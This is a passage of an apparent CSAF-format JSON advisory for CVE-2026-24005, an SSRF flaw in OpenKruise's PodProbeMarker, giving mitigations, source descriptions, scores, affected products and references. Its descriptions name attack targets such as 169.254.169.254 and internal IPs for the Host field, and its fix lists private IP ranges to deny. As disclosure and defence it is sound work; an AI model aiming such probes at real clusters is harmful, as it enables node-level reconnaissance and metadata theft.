permissions\n- Apply network policies limiting kruise-daemon egress\n- Audit existing PodProbeMarker resources\n\nPermanent fix:\n- Enforce Host field restrictions in webhook validation\n- Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)\n- Require Host to be empty or equal to PodIP\n- Sanitize error messages in NodePodProbe status\n\n---\n\n**Verification Environment**: kind v1.30.0 + OpenKruise v1.8.0",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-9fj4-3849-rv9g.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Kruise provides automated management of large-scale applications on Kubernetes. Prior to versions 1.8.3 and 1.7.5, PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages. Versions 1.8.3 and 1.7.5 patch the issue.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-24005.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field in github.com/openkruise/kruise",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4549.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.",
                    "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fopenkruise%2Fkruise%2FCVE-2026-24005.yml/raw"
                },
                {
                    "category": "other",
                    "text": "0.0004",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent CVSS (V3) score, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "fixed": [
                    "CSAFPID-5944639",
                    "CSAFPID-5944640"
                ],
                "known_affected": [
                    "CSAFPID-5712649",
                    "CSAFPID-5712650",
                    "CSAFPID-5713299",
                    "CSAFPID-4156668",
                    "CSAFPID-5065088",
                    "CSAFPID-5065089",
                    "CSAFPID-5065090",
                    "CSAFPID-5065091",
                    "CSAFPID-5065092",
                    "CSAFPID-5065093",
                    "CSAFPID-5065094",
                    "CSAFPID-5065095",
                    "CSAFPID-5065096",
                    "CSAFPID-5065097",
                    "CSAFPID-5065098",
                    "CSAFPID-5065099",
                    "CSAFPID-5065100",
                    "CSAFPID-5065101",
                    "CSAFPID-5065102",
                    "CSAFPID-5065103",
                    "CSAFPID-5065104",
                    "CSAFPID-5065105",
                    "CSAFPID-5065106",
                    "CSAFPID-5727921",
                    "CSAFPID-5727922",
                    "CSAFPID-5727923",
                    "CSAFPID-5727924",
                    "CSAFPID-5944641",
                    "CSAFPID-5944642"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-9fj4-3849-rv9g"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-9fj4-3849-rv9g"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-24005"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/24xxx/CVE-2026-24005.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24005"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-24005"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-9fj4-3849-rv9g.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-24005.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24005"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4549.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - gitlab",
                    "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fopenkruise%2Fkruise%2FCVE-2026-24005.yml/raw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/openkruise/kruise/security/advisories/GHSA-9fj4-3849-rv9g"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/openkruise/kruise/commit/94364b76adf3e8a1749a31afe809a163bed29613"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/openkruise/kruise/releases/tag/v1.7.5"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/openkruise/kruise/releases/tag/v1.8.3"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab",
                    "url": "https://github.com/advisories/GHSA-9fj4-3849-rv9g"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24005.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24005"
                },
                {
                    "category": "external",
                    "summary": "Reference - gitlab",
                    "url": "https://github.com/openkruise/kruise"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N",
                        "baseScore": 0.0,
                        "baseSeverity": "NONE"
                    },
                    "products": [
                        "CSAFPID-4156668",
                        "CSAFPID-5065088",
                        "CSAFPID-5065089",
                        "CSAFPID-5065090",
                        "CSAFPID-5065091",
                        "CSAFPID-5065092",
                        "CSAFPID-5065093",
                        "CSAFPID-5065094",
                        "CSAFPID-5065095",
                        "CSAFPID-5065096",
                        "CSAFPID-5065097",
                        "CSAFPID-5065098",
                        "CSAFPID-5065099",
                        "CSAFPID-5065100",
                        "CSAFPID-5065101",
                        "CSAFPID-5065102",
                        "CSAFPID-5065103",
                        "CSAFPID-5065104",
                        "CSAFPID-5065105",
                        "CSAFPID-5065106",
                        "CSAFPID-5712649",
                        "CSAFPID-5712650",
                        "CSAFPID-5713299",
                        "CSAFPID-5727921",
                        "CSAFPID-5727922",
                        "CSAFPID-5727923",
                        "CSAFPID-5727924",
                        "CSAFPID-5944641",
                        "CSAFPID-5944642"
                    ]
                }
            ],
            "title": "CVE-2026-24005"
        }
    ]
}